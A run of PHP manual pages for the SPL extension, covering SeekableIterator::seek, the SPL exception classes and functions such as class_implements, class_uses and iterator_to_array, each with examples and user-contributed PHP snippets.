(PHP 5 >= 5.1.0)

SeekableIterator::seek — Seeks to a position

Description

abstract public void SeekableIterator::seek ( int $position )

Seeks to a given position in the iterator.

Parameters

position

The position to seek to.

Return Values

No value is returned.

Errors/Exceptions

Implementations should throw an OutOfBoundsException if the position is not seekable.

Examples

Example #1 SeekableIterator::seek() example

Seek to the item at position 3 in the iterator (ArrayIterator implements SeekableIterator).

<?php
$array = array("apple", "banana", "cherry", "damson", "elderberry");
$iterator = new ArrayIterator($array);
$iterator->seek(3);
echo $iterator->current();
?>

The above example will output something similar to:

damson

See Also

  • SeekableIterator
  • Iterator

User Contributed Notes

There are no user contributed notes for this page.


Exceptions

Table of Contents

  • BadFunctionCallException
  • BadMethodCallException
  • DomainException
  • InvalidArgumentException
  • LengthException
  • LogicException
  • OutOfBoundsException
  • OutOfRangeException
  • OverflowException
  • RangeException
  • RuntimeException
  • UnderflowException
  • UnexpectedValueException

SPL provides a set of standard Exceptions.

See also the Predefined Exceptions

SPL Exceptions Class Tree

  • LogicException (extends Exception)
    • BadFunctionCallException
      • BadMethodCallException
    • DomainException
    • InvalidArgumentException
    • LengthException
    • OutOfRangeException
  • RuntimeException (extends Exception)
    • OutOfBoundsException
    • OverflowException
    • RangeException
    • UnderflowException
    • UnexpectedValueException

User Contributed Notes

There are no user contributed notes for this page.


The BadFunctionCallException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a callback refers to an undefined function or if some arguments are missing.

Class synopsis

BadFunctionCallException extends LogicException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Gilles A 09-May-2014 04:58
For example :
<?php
class Image
    {
    public function __construct()
        {
        if (!extension_loaded('gd'))
            {
            throw new BadFunctionCallException('GD extension is not loaded.');
            }
        }
    }
?>
Dawid Krysiak 03-Feb-2011 11:35
Direct known subclasses:
BadMethodCallException

So BadMethodCallException can be used in case the subject function is or should be a part of class / object - it's use defines the case more precisely.
tom at tomwardrop dot com 16-Nov-2009 04:42
A typical use for this exception, is in conjunction with the is_callable() function.


The BadMethodCallException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a callback refers to an undefined method or if some arguments are missing.

Class synopsis

BadMethodCallException extends BadFunctionCallException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The DomainException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a value does not adhere to a defined valid data domain.

Class synopsis

DomainException extends LogicException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

chmielewski dot thomas at gmail dot com 29-Aug-2014 07:45
<?php

function divide($divident, $divisor) {
    if(!is_numeric($divident) || !is_numeric($divisor)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($divisor == 0) {
        throw new DomainException("Divisor must not be zero");
    }
    return $divident / $divisor;
}
mateusz dot charytoniuk at gmail dot com 20-Oct-2011 09:45
<?php
function renderImage($imageResource, $imageType)
{
  switch ($imageType) {
  case 'jpg':
  case 'jpeg':
    header('Content-type: image/jpeg');
    imagejpeg($imageResource);
    break;
  case 'png':
    header('Content-type: image/png');
    imagepng($imageResource);
    break;
  default:
    throw new DomainException('Unknown image type: ' . $imageType);
    break;
  }
  imagedestroy($imageResource);
}
?>


The InvalidArgumentException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if an argument is not of the expected type.

Class synopsis

InvalidArgumentException extends LogicException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

edsonhoraciojunior at gmail dot com 08-Nov-2013 11:21
A version of Joey's code that validates if the number really isn't int:

function tripleInteger($int)
{
  // if is a number and is not float (doesn't have a decimal separator)
  if(is_numeric($int) && strpos($int, ".") === false) {
    $int = intval($int);
  }
  if(!is_int($int))
    throw new InvalidArgumentException('tripleInteger function only accepts integers. Input was: '.$int);
  return $int * 3;
}
Joey at anti-culture dot net 03-Feb-2011 06:08
In my opinion this exception is invaluable for validating arguments- for example providing strict typing a la C:

<?php
function tripleInteger($int)
{
  if(!is_int($int))
    throw new InvalidArgumentException('tripleInteger function only accepts integers. Input was: '.$int);
  return $int * 3;
}

$x = tripleInteger(4); //$x == 12
$x = tripleInteger(2.5); //exception will be thrown as 2.5 is a float
$x = tripleInteger('foo'); //exception will be thrown as 'foo' is a string
$x = tripleInteger('4'); //exception will throw as '4' is also a string

?>


The LengthException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a length is invalid.

Class synopsis

LengthException extends LogicException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The LogicException class

(PHP 5 >= 5.1.0)

Introduction

Exception that represents error in the program logic. This kind of exception should lead directly to a fix in your code.

Class synopsis

LogicException extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 11:32
Direct known subclasses:
BadFunctionCallException, DomainException, InvalidArgumentException, LengthException, OutOfRangeException


The OutOfBoundsException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a value is not a valid key. This represents errors that cannot be detected at compile time.

Class synopsis

OutOfBoundsException extends RuntimeException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The OutOfRangeException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown when an illegal index was requested. This represents errors that should be detected at compile time.

Class synopsis

OutOfRangeException extends LogicException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The OverflowException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown when adding an element to a full container.

Class synopsis

OverflowException extends RuntimeException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The RangeException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown to indicate range errors during program execution. Normally this means there was an arithmetic error other than under/overflow. This is the runtime version of DomainException.

Class synopsis

RangeException extends RuntimeException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The RuntimeException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if an error which can only be found on runtime occurs.

Class synopsis

RuntimeException extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 11:31
Direct known subclasses (following the java docs convention (: ):
OutOfBoundsException, OverflowException, RangeException, UnderflowException, UnexpectedValueException


The UnderflowException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown when performing an invalid operation on an empty container, such as removing an element.

Class synopsis

UnderflowException extends RuntimeException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The UnexpectedValueException class

(PHP 5 >= 5.1.0)

Introduction

Exception thrown if a value does not match with a set of values. Typically this happens when a function calls another function and expects the return value to be of a certain type or value not including arithmetic or buffer related errors.

Class synopsis

UnexpectedValueException extends RuntimeException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


SPL Functions

Table of Contents

  • class_implements — Return the interfaces which are implemented by the given class
  • class_parents — Return the parent classes of the given class
  • class_uses — Return the traits used by the given class
  • iterator_apply — Call a function for every element in an iterator
  • iterator_count — Count the elements in an iterator
  • iterator_to_array — Copy the iterator into an array
  • spl_autoload_call — Try all registered __autoload() function to load the requested class
  • spl_autoload_extensions — Register and return default file extensions for spl_autoload
  • spl_autoload_functions — Return all registered __autoload() functions
  • spl_autoload_register — Register given function as __autoload() implementation
  • spl_autoload_unregister — Unregister given function as __autoload() implementation
  • spl_autoload — Default implementation for __autoload()
  • spl_classes — Return available SPL classes
  • spl_object_hash — Return hash id for given object

User Contributed Notes

benny at whitewashing dot de 22-Jul-2008 06:56
I have to correct my implementation from before. The example before only supported correct read-access but failed on setting new values after creation of the ArrayMultiObject. Also i had to correct a bug that occured from my CopyPasteChange into the comment textarea.

This snippet now hopefully implements a fully functional multidimensional array, represented by an ArrayObject:

<?php
class ArrayMultiObject extends ArrayObject
{
    function __construct($array, $flags = 0, $iterator_class = "ArrayIterator")
    {
        $objects = array();
        foreach($array AS $key => $value) {
            if(is_array($value)) {
                $objects[$key] = new ArrayMultiObject($value, $flags, $iterator_class);
            } else {
                $objects[$key] = $value;
            }
        }

        parent::__construct($objects, $flags, $iterator_class);
    }

    public function offsetSet($name, $value)
    {
        if(is_array($value)) {
            $value = new ArrayMultiObject($value);
        }

        return parent::offsetSet($name, $value);
    }
}
?>
loaded67 at hotmail dot com 19-May-2008 10:56
For some application I needed to reverse some standard iterators.

So I mocked up this flexible function.
Enjoy

<?php
function reverse_iterator(Iterator $iterator){
    $type     = get_class($iterator);
    $array     = array_reverse(iterator_to_array($iterator), true);
    return new $type($array);
}
?>
prometheus - csaba dot dobai at php-sparcle dot hu 13-Sep-2007 11:33
This code is an example. By using classes like this, you gives a chance to create classes which extends another class but have most of the ability what a class extends ArrayObject (like multiple inheritance):

<?php

class foo
{
    public $foo = 'foo';
} // class

class foobar extends foo implements ArrayAccess,IteratorAggregate,Countable
{
    public function offsetExists($offset)
    {
        $array = array(1, 2, 3, 4);
        return array_key_exists($offset, $array);
    }

    public function offsetGet($offset)
    {
        $array = array(1, 2, 3, 4);
        return $array[$offset];
    }

    public function offsetSet($offset, $value)
    {
        // Makes "array" to readonly
    }

    public function offsetUnset($offset)
    {
        // Makes "array" to readonly
    }

    function count()
    {
        $array = array(1, 2, 3, 4);
        return count($array);
    } // function

    function getArray()
    {
        return array(1, 2, 3, 4);
    } // function

    function getIterator()
    {
        return new ArrayIterator(array(1, 2, 3, 4));
    } // function

    function __toString()
    {
        return 'String test';
    } // function
} // class

$foobar = new foobar();
print $foobar[0].'<br/>';
print $foobar->foo.'<br/>';
print count($foobar).'<br/>';

foreach ($foobar as $k=>$v)
{
    print $k.'=>'.$v.'<br/>';
} // foreach

var_dump($foobar->getArray());

print $foobar;

/* Generated output:
1
foo
4
0=>1
1=>2
2=>3
3=>4
array
  0 => int 1
  1 => int 2
  2 => int 3
  3 => int 4
String test
*/
?>

For proper use you must be define all these methods except getArray()

Browse SPL's sources to be a very helpful think.

ps.: sry for my english
semperluc (at) yahoo._forgot_the_rest 01-Feb-2007 10:43
<?php
/*
How to store SPL Iterator results (rather than just echo-and-forget):

The library of Iterators  are object based, so you need to trick the little rascals into an array.
Here's how (two ways) ...

1. Explicit typecasts: $a[] = (array)$Obj->objMethod();

2. Array definition: $a[] = array( key => $Obj->objMethod() );

Examples: DirectoryIterator()
*/

// 1. explicity typecast object as array
foreach ( new DirectoryIterator('./') as $Item )
{
  $fname = (array)$Item->getFilename();
  $dir_listing[] = $fname[0];
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre><hr />";
//

// or

// 2. define array as key => object->method
foreach ( new DirectoryIterator('./') as $Item )
{
  $dir_listing[] = array (
    "fname" => $Item->getFilename(),
    "path" => $Item->getPathname(),
    "size" => $Item->getSize(),
    "mtime" => $Item->getMTime()
  );
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre>";
//
?>
kevin at oceania dot net 07-Mar-2006 09:21
The most comprehensive of all tutorials regarding SPL has been written with some help from Marcus and can be found here.
http://www.phpro.org/tutorials/Introduction-to-SPL.html

Enjoy
ville</.>witt</a>gmail</.>com 12-Jan-2006 09:37
These to funtions has excatly the same output, the only diff. is in which directory iterator they use. I hope someone out there can use it:
<?php
function listfilesin1 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new DirectoryIterator($dir) as $file) {
        if (!$file->isDot()) {
            if ($file->isDir()) {
                $newdir = $file->getPathname();
                listfilesin1($newdir, $depth+1);
            } else {
                echo "($depth)".$file->getPathname() . "<br/>";
            }
        }
    }
}
function listfilesin2 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new RecursiveDirectoryIterator($dir) as $file) {
        if ($file->hasChildren(false)) {
            $newdir = $file->key();
            listfilesin2($newdir, $depth+1);
        } else {
            echo "($depth)".$file->key() . "<br/>";
        }
    }
}
listfilesin();
?>
adove at booyahnetworks dot com 10-Oct-2005 07:45
Something to note that, at least to me, seems pretty important and is not entirely clear in the documentation is the fact that the ArrayObject class supports get/set on uni-dimensional keys and get ONLY on *passed* multi-dimensional keys/paths (see source below). If you, like me, need to support array accesss overloading for multi-dimensional data, you will need to derive from ArrayObject and overide the ArrayAccess interface methods to "walk" passed data and convert embedded arrays to objects of some kind...

Reference Bug 34816 @ http://bugs.php.net/bug.php?id=34816.

Illustration of the issue:

$a = array(
    "test" => array(
        "one" => "dunno",
        "two" => array(
            "peekabo" => "do you see me?",
            "anyone" => array("there")
            )
        )
    );
$oArray = new ArrayObject($a);
var_dump($oArray);

$oArray["three"] = "No problems here.";

echo "\n\\test\\one == " . $oArray["test"]["one"] . "\n\n";

// NEITHER of the two below will work!
$oArray["test"]["one"] = "Yes I do!";
$oArray["test"]["yes"] = array(
    "hello" => "Goodbye!"
    );

var_dump($oArray);

---
Note from the extension author:
Actually there is RecursiveArrayObject and RecursiveArrayIterator to deal with recursive structures. However this does not always solve all multidimensional issues as expected.
helly at php dot net 25-Sep-2005 11:41
There is a RecursiveFilterIterator that makes the above code much easier. And then ther is ParentIterator thta is already a filtering recursive iterator that only accepts elements that have children, with a RecursiveDirectoryIterator as inner iterator you would obviously get only the directories. Further more it ensures that it creates the correct children. All in all you simply need to do this:

$it = new RecursiveDirectoryIterator($path);
$it = new ParentIterator($it);
$it = new RecursiveIteratorIteator($it);

foreach($it as $dir  => $o) { ... }
dave at tunasoft dot com 10-Aug-2004 03:28
There are some interfaces used here that are not documented.  It took a bit to figure this one out, but you can create your own ArrayObject type class (that is, one who's objects can be access using the array [$index] syntax).

Your class must just implement ArrayAccess.  Which has four abstract methods you must define.  For example:

<?php
    class Collection Implements ArrayAccess{

        protected $array;

        function offsetExists($offset){

            if(isset($this->array[$offset])){
                return TRUE;
            }
            else{
                return FALSE;
            }

        }

        function offsetGet($offset){

            return $this->array[$offset];

        }

        function offsetSet($offset, $value){

            if($offset){
                $this->array[$offset] = $value;
            }
            else{
                $this->array[] = $value;
            }

        }

        function offsetUnset($offset){

        }

    }
?>

You'll have to jump through a couple more hoops to get foreach and print_r and the likes to behave properly.  But with just this, you can :

<?php
      $col = new Collction();
      $col[] = new ObjectX();
      $col[] = new ObjectX(123);

      echo $col[0]->name;
      // etc.
?>
phil &ampersat; flatnet.net 18-Apr-2004 12:11
Here's a sample implementation of the RecursiveDirectoryIterator class. It prints a simple treeview of a given directory:
<?php
function recurse($it) {
   echo '<ul>';
   for( ; $it->valid(); $it->next()) {
       if($it->isDir() && !$it->isDot()) {
           printf('<li class="dir">%s</li>', $it->current());
           if($it->hasChildren()) {
               $bleh = $it->getChildren();
               echo '<ul>' . recurse($bleh) . '</ul>';
           }
       } elseif($it->isFile()) {
           echo '<li class="file">'. $it->current() . ' (' . $it->getSize(). ' Bytes)</li>';
       }
   }
   echo '</ul>';
}

recurse(new RecursiveDirectoryIterator('D:/'));
?>


Return the interfaces which are implemented by the given class

  • « SPL Functions
  • class_parents »
  • PHP Manual
  • SPL Functions
  • Return the interfaces which are implemented by the given class

class_implements

(PHP 5 >= 5.1.0)

class_implements — Return the interfaces which are implemented by the given class

Description

array class_implements ( mixed $class [, bool $autoload = true ] )

This function returns an array with the names of the interfaces that the given class and its parents implement.

Parameters

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload() magic method.

Return Values

An array on success, or FALSE on error.

Changelog

Version | Description
5.1.0 | Added the option to pass the class parameter as a string. Added the autoload parameter.

Examples

Example #1 class_implements() example

<?php

interface foo { }
class bar implements foo {}

print_r(class_implements(new bar));

// since PHP 5.1.0 you may also specify the parameter as a string
print_r(class_implements('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_implements('not_loaded', true));

?>

The above example will output something similar to:

Array
(
    [foo] => foo
)

Array
(
    [interface_of_not_loaded] => interface_of_not_loaded
)

See Also

  • class_parents() - Return the parent classes of the given class
  • get_declared_interfaces() - Returns an array of all declared interfaces

User Contributed Notes

a dot panek at brainsware dot org 05-Nov-2013 10:29
Calling class_implements with a non-loadable class name or a non-object results in a warning:

<?php
// Warning: class_implements(): Class abc does not exist and could not be loaded in /home/a.panek/Projects/sauce/lib/Sauce/functions.php on line 196

$interfaces = class_implements('abc');
?>

This is not documented and should just return FALSE as the documentation above says.
paul at paulferrett dot com 31-Dec-2009 02:35
You can also check if a class implements an interface using instanceof.

E.g.
<?php
if($myObj instanceof MyInterface) {
    echo "It is! It is!";
}
?>
trollll23 at yahoo dot com 25-Oct-2005 09:57
Luckily, it prints out superinterfaces as well in reverse order so iterative searching works fine:

    <?php

    interface InterfaceA { }

    interface InterfaceB extends InterfaceA { }

    class MyClass implements InterfaceB { }

    print_r(class_implements(new MyClass()));

    ?>

prints out:

    Array
    (
        [InterfaceB] => InterfaceB
        [InterfaceA] => InterfaceA
    )
ludvig dot ericson at gmail dot nospam dot com 01-Aug-2005 09:41
Hint:
<?php
in_array("your-interface", class_implements($object_or_class_name));
?>
would check if 'your-interface' is ONE of the implemented interfaces.
Note that you can use something similar to be sure the class only implements that, (whyever you would want that?)
<?php
array("your-interface") == class_implements($object_or_class_name);
?>

I use the first technique to check if a module has the correct interface implemented, or else it throws an exception.


Return the parent classes of the given class

  • « class_implements
  • class_uses »
  • PHP Manual
  • SPL Functions
  • Return the parent classes of the given class

class_parents

(PHP 5 >= 5.1.0)

class_parents — Return the parent classes of the given class

Description

array class_parents ( mixed $class [, bool $autoload = true ] )

This function returns an array with the name of the parent classes of the given class.

Parameters

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload() magic method.

Return Values

An array on success, or FALSE on error.

Changelog

Version | Description
5.1.0 | Added the option to pass the class parameter as a string. Added the autoload parameter.

Examples

Example #1 class_parents() example

<?php

class foo { }
class bar extends foo {}

print_r(class_parents(new bar));

// since PHP 5.1.0 you may also specify the parameter as a string
print_r(class_parents('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_parents('not_loaded', true));
?>

The above example will output something similar to:

Array
(
    [foo] => foo
)

Array
(
    [parent_of_not_loaded] => parent_of_not_loaded
)

See Also

  • class_implements() - Return the interfaces which are implemented by the given class

User Contributed Notes

sergei dot solomonov at gmail dot com 02-Oct-2012 11:57
<?php
class foo {}
class bar extends foo {}
class baz extends bar {}

print_r(class_parents(new baz));
?>

Will output:
Array
(
    [bar] => bar
    [foo] => foo
)


Return the traits used by the given class

  • « class_parents
  • iterator_apply »
  • PHP Manual
  • SPL Functions
  • Return the traits used by the given class

class_uses

(PHP 5 >= 5.4.0)

class_uses — Return the traits used by the given class

Description

array class_uses ( mixed $class [, bool $autoload = true ] )

This function returns an array with the names of the traits that the given class uses. This does however not include any traits used by a parent class.

Parameters

class

An object (class instance) or a string (class name).

autoload

Whether to allow this function to load the class automatically through the __autoload() magic method.

Return Values

An array on success, or FALSE on error.

Examples

Example #1 class_uses() example

<?php

trait foo { }
class bar {
  use foo;
}

print_r(class_uses(new bar));

print_r(class_uses('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// use __autoload to load the 'not_loaded' class
print_r(class_uses('not_loaded', true));

?>

The above example will output something similar to:

Array
(
    [foo] => foo
)

Array
(
    [foo] => foo
)

Array
(
    [trait_of_not_loaded] => trait_of_not_loaded
)

See Also

  • class_parents() - Return the parent classes of the given class
  • get_declared_traits() - Returns an array of all declared traits

User Contributed Notes

ulf 11-Jul-2013 06:21
A slighly modified version from Stealz that also checks all the "parent" traits used by the traits:

<?php
public static function class_uses_deep($class, $autoload = true)
    {
        $traits = [];

        // Get traits of all parent classes
        do {
            $traits = array_merge(class_uses($class, $autoload), $traits);
        } while ($class = get_parent_class($class));

        // Get traits of all parent traits
        $traitsToSearch = $traits;
        while (!empty($traitsToSearch)) {
            $newTraits = class_uses(array_pop($traitsToSearch), $autoload);
            $traits = array_merge($newTraits, $traits);
            $traitsToSearch = array_merge($newTraits, $traitsToSearch);
        };

        foreach ($traits as $trait => $same) {
            $traits = array_merge(class_uses($trait, $autoload), $traits);
        }

        return array_unique($traits);
    }
?>
adam at adamhahn dot com 01-May-2013 08:34
FYI: It is not explicitly stated, but if you run this function against a class that does not use any traits it will return an empty array.

<?php

class iDontUseTraits {
}

class_uses('iDontUseTraits'); // Returns empty array

?>
stealz at op dot pl 01-Dec-2012 07:20
To get ALL traits including those used by parent classes and other traits, use this function:

<?php
function class_uses_deep($class, $autoload = true) {
    $traits = [];
    do {
        $traits = array_merge(class_uses($class, $autoload), $traits);
    } while($class = get_parent_class($class));
    foreach ($traits as $trait => $same) {
        $traits = array_merge(class_uses($trait, $autoload), $traits);
    }
    return array_unique($traits);
}
?>


Call a function for every element in an iterator

  • « class_uses
  • iterator_count »
  • PHP Manual
  • SPL Functions
  • Call a function for every element in an iterator

iterator_apply

(PHP 5 >= 5.1.0)

iterator_apply — Call a function for every element in an iterator

Description

int iterator_apply ( Traversable $iterator , callable $function [, array $args ] )

Calls a function for every element in an iterator.

Parameters

iterator

The class to iterate over.

function

The callback function to call on every element.

Note: The function must return TRUE in order to continue iterating over the iterator.

args

Arguments to pass to the callback function.

Return Values

Returns the iteration count.

Examples

Example #1 iterator_apply() example

<?php
function print_caps(Iterator $iterator) {
    echo strtoupper($iterator->current()) . "\n";
    return TRUE;
}

$it = new ArrayIterator(array("Apples", "Bananas", "Cherries"));
iterator_apply($it, "print_caps", array($it));
?>

The above example will output:

APPLES
BANANAS
CHERRIES

See Also

  • array_walk() - Apply a user supplied function to every member of an array

User Contributed Notes

There are no user contributed notes for this page.


Count the elements in an iterator

  • « iterator_apply
  • iterator_to_array »
  • PHP Manual
  • SPL Functions
  • Count the elements in an iterator

iterator_count

(PHP 5 >= 5.1.0)

iterator_count — Count the elements in an iterator

Description

int iterator_count ( Traversable $iterator )

Count the elements in an iterator.

Parameters

iterator

The iterator being counted.

Return Values

The number of elements in iterator.

Examples

Example #1 iterator_count() example

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_count($iterator));
?>

The above example will output:

int(4)

User Contributed Notes

donovan jimenez 23-Feb-2009 06:34
Be careful of thinking of iterators and arrays as completely analogous in your PHP code. iterator_count will NOT return your iterator to its previous state after looping through it for the count. Any iterator implementation that also implements Countable::count isn't required to do so either.

This is clearest in example form:
<?php
$array = array(
    1 => 'foo',
    2 => 'bar'
);

foreach ($array as $key => $value)
{
    echo "$key: $value (", count($array), ")\n";
}

$iterator = new ArrayIterator($array);

foreach ($iterator as $key => $value)
{
    echo "$key: $value (", iterator_count($iterator), ")\n";
}
?>

outputs:
1: foo (2)
2: bar (2)
1: foo (2)

Notice that because of how iterator_count works we never see the second iterator value because the next call to then Iterator::valid() implementation returns false (its at the end of the iterator).
Micha Mech 09-May-2008 12:38
Yes, but ...

Traversable: "Abstract base interface that cannot be implemented alone. Instead it must be implemented by either IteratorAggregate or Iterator."

So You have to implement IteratorAggregate or Iterator because You can not implement Traversable.
Ard 31-Aug-2006 12:39
Note that you that the iterator parameter doesn't need to be of type Aggregate. As the spl documentation on http://www.php.net/~helly/php/ext/spl/ defines it in the following way:

    iterator_count (Traversable $it).

So you can count the number of files in a given directory quite easily:
<?php iterator_count(new DirectoryIterator('path/to/dir/'));    ?>


Copy the iterator into an array

  • « iterator_count
  • spl_autoload_call »
  • PHP Manual
  • SPL Functions
  • Copy the iterator into an array

iterator_to_array

(PHP 5 >= 5.1.0)

iterator_to_array — Copy the iterator into an array

Description

array iterator_to_array ( Traversable $iterator [, bool $use_keys = true ] )

Copy the elements of an iterator into an array.

Parameters

iterator

The iterator being copied.

use_keys

Whether to use the iterator element keys as index.

In PHP 5.5 and later, if a key is an array or object, a warning will be generated. NULL keys will be converted to an empty string, double keys will be truncated to their integer counterpart, resource keys will generate a warning and be converted to their resource ID, and boolean keys will be converted to integers.

Return Values

An array containing the elements of the iterator.

Changelog

Version | Description
5.5.0 | iterator_to_array() gained support for key types other than integer and string when the use_keys parameter is enabled.
5.2.1 | The use_keys parameter was added.

Examples

Example #1 iterator_to_array() example

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_to_array($iterator, true));
var_dump(iterator_to_array($iterator, false));
?>

The above example will output:

array(4) {
  ["recipe"]=>
  string(8) "pancakes"
  [0]=>
  string(3) "egg"
  [1]=>
  string(4) "milk"
  [2]=>
  string(5) "flour"
}
array(4) {
  [0]=>
  string(8) "pancakes"
  [1]=>
  string(3) "egg"
  [2]=>
  string(4) "milk"
  [3]=>
  string(5) "flour"
}

User Contributed Notes

joksnet at gmail dot com 27-Oct-2014 05:36
To generate an deep array from nested iterators:

<?php
function iterator_to_array_deep(\Traversable $iterator, $use_keys = true) {
    $array = array();
    foreach ($iterator as $key => $value) {
        if ($value instanceof \Iterator) {
            $value = iterator_to_array_deep($value, $use_keys);
        }
        if ($use_keys) {
            $array[$key] = $value;
        } else {
            $array[] = $value;
        }
    }
    return $array;
}
?>

